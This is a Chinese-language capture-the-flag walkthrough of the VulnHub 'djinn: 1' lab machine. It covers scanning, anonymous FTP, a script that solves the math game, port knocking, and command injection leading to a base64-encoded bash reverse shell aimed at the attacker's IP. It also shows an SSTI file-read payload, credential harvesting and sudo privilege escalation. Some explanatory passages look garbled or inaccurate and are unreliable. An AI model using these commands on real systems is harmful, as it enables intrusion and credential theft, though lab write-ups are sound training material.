djinn: 1靶场渗透测试
djinn: 1
来自 <djinn: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.211
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.211
- 端口21 (FTP - vsftpd 3.0.3)
- 检查匿名登录:尝试使用anonymous作为用户名,空密码或任意邮箱登录。bash
复制
ftp <target_ip>
# 输入用户名:anonymous,密码留空或任意 - 漏洞检查:vsftpd 3.0.3未报告严重漏洞,但仍需确认配置安全性,如是否允许匿名上传或存在敏感文件。
- 检查匿名登录:尝试使用anonymous作为用户名,空密码或任意邮箱登录。bash
- 端口1337 (自定义数学挑战服务)
- 自动化解题脚本:编写脚本连接端口,解析并计算数学表达式,完成1000次答题。
- Python脚本示例:
import socket |
- 注意:根据服务端实际响应调整运算逻辑(如整除或浮点)。
- 端口7331 (HTTP - Werkzeug/Python 2.7)
- 访问Web界面:使用浏览器或curl查看内容。
curl http://<target_ip>:7331 - 检查Werkzeug调试控制台:访问/console路径,尝试利用调试器PIN漏洞(需信息泄露生成PIN)。
- SSTI漏洞探测:在输入点测试模板注入(如URL参数):
curl http://<target_ip>:7331/{{7*7}}
# 若返回49则存在漏洞 - 利用SSTI获取shell(示例):
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} - 目录扫描:使用gobuster寻找隐藏路径:
gobuster dir -u http://<target_ip>:7331 -w /path/to/wordlist
- 访问Web界面:使用浏览器或curl查看内容。
- 端口22 (SSH - filtered)
- 暂缓处理:因过滤状态,可能受防火墙限制,待其他途径获取权限后内网渗透。
4,访问一下7331端口的http服务
5,然后匿名登录ftp服务器
ftp 192.168.23.211
get creds.txt
get game.txt
get message.txt
然后下载当前文件夹下所有的文件,这些文本存在一些提示
@nitish81299:
我要休假几天,所有工作交给你处理。
别搞砸任何事。
凭据:
nitu:81299
(附言)
哦对了,我忘了告诉你,我在 1337端口 给你准备了一个游戏。
看看你能不能打到最终关卡拿到奖品。
6,然后再连接1337端口
telnet 192.168.23.211 1337
输入正确结果会继续,错误结果会直接结束,那么编写脚本来进行这1000次尝试
#coding:utf-8 import logging import telnetlib import time import re def main(): try: tn = telnetlib.Telnet('192.168.23.211',port=1337) except: logging.warning("errr") time.sleep(0.5) loop=1 while loop<1002: data = tn.read_very_eager().decode('ascii') print(data) res = re.search('(.*?)\s>',data).group(1) datas = str(calc(res)).strip() print(str(loop)+":"+datas) loop=loop+1 tn.write(datas.encode('ascii')+b"\n") time.sleep(0.1) data = tn.read_very_eager().decode('ascii') return data def calc(res): res_str = res.strip('(').strip(")").replace("'","") muns = res_str.split(',') munber1 = muns[0].strip() orperator = muns[1].strip() munber2 = muns[2].strip() res = eval(munber1+orperator+munber2) return res print(main()) |
成功得到以下端口,敲击一下应该就能打开隐蔽端口
7,然后knockd开启这些端口
knock 192.168.23.211 1356 6784 3409
knockd 工具详解
knockd 是一款用于实现 端口敲门(Port Knocking) 的守护程序,通过监听特定的端口访问序列来动态修改防火墙规则(如 iptables 或 nftables),从而隐藏受保护服务的真实端口,增强系统安全性。
一、核心功能
- 动态防火墙控制
- 当客户端按预设顺序访问一组关闭的端口时,knockd 自动临时开放目标服务端口(如 SSH)。
- 操作完成后,可配置自动关闭端口或保持开放一段时间。
- 隐蔽服务
- 服务端口默认关闭,避免被扫描工具(如 nmap)发现。
- 仅当收到正确敲门序列后,服务才对合法用户可见。
- 支持复杂验证
- 支持单次敲门、多步序列、超时限制。
- 可结合加密算法(如 SHA1)生成动态敲门序列。
经过敲击之后ssh的22端口开启
8,对7331端口的http服务进行子目录枚举扫描
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.23.211:7331
http://192.168.23.211:7331/wish
http://192.168.23.211:7331/genie
9,在http://192.168.23.211:7331/wish的Execute输入id,发现这个地方存在命令执行漏洞
回显位置在URL,使用burpsuite攻击效果更加明显
在/wish输入id发现回显为”error 403",说明这里对输入的命令做了安全限制。所以我们这里需要对输入的命令进行url编码并在/wish界面执行
bash -i >& /dev/tcp/192.168.23.182/4444 0>&1
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjE4Mi80NDQ0IDA+JjEg"|base64 -d|bash
然后kali打开对4444端口的监听
10,信息收集
这里执行过滤,其中RCE中是被过滤的名单
RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"] def validate(cmd): if CREDS in cmd and "cat" not in cmd: return True
try: for i in RCE: for j in cmd: if i == j: return False return True except Exception: return False |
其中CREDS是一个字符串,使用find进行查找
find / -name *creds* -print 2>&1| grep -v "Permission denied"
cat /home/nitish/.dev/creds.txt
得到了nitish的密码,这个和ftp服务器里面存在的文件有区别
nitish:p4ssw0rdStr3r0n9
11,横向移动到nitish用户
得到第一个flag
12,sudo -l查看提权利用点
genie 命令使用详解
genie 是一个用于在 WSL (Windows Subsystem for Linux) 中运行 systemd 的工具。它允许在 WSL 实例中启动完整的 systemd 进程管理系统,使得需要 systemd 管理的服务(如 Docker、SSH、Nginx 等)能够在 WSL 中正常工作。
进行尝试genie -cmd id,可以正常运行,exit时会出现机具嘲讽的You are a noob hacker!!
横向移动。使用sam的身份运行id,成功的切换为sam
sudo -u sam genie -cmd id
python -c 'import pty;pty.spawn("/bin/bash")'
13,再次查看sudo权限,发现/root/lago具有特殊权限
发现lago命令可以用root的身份运行,并且不需要passwd
sudo -u root /root/lago
然后执行 ./proof.sh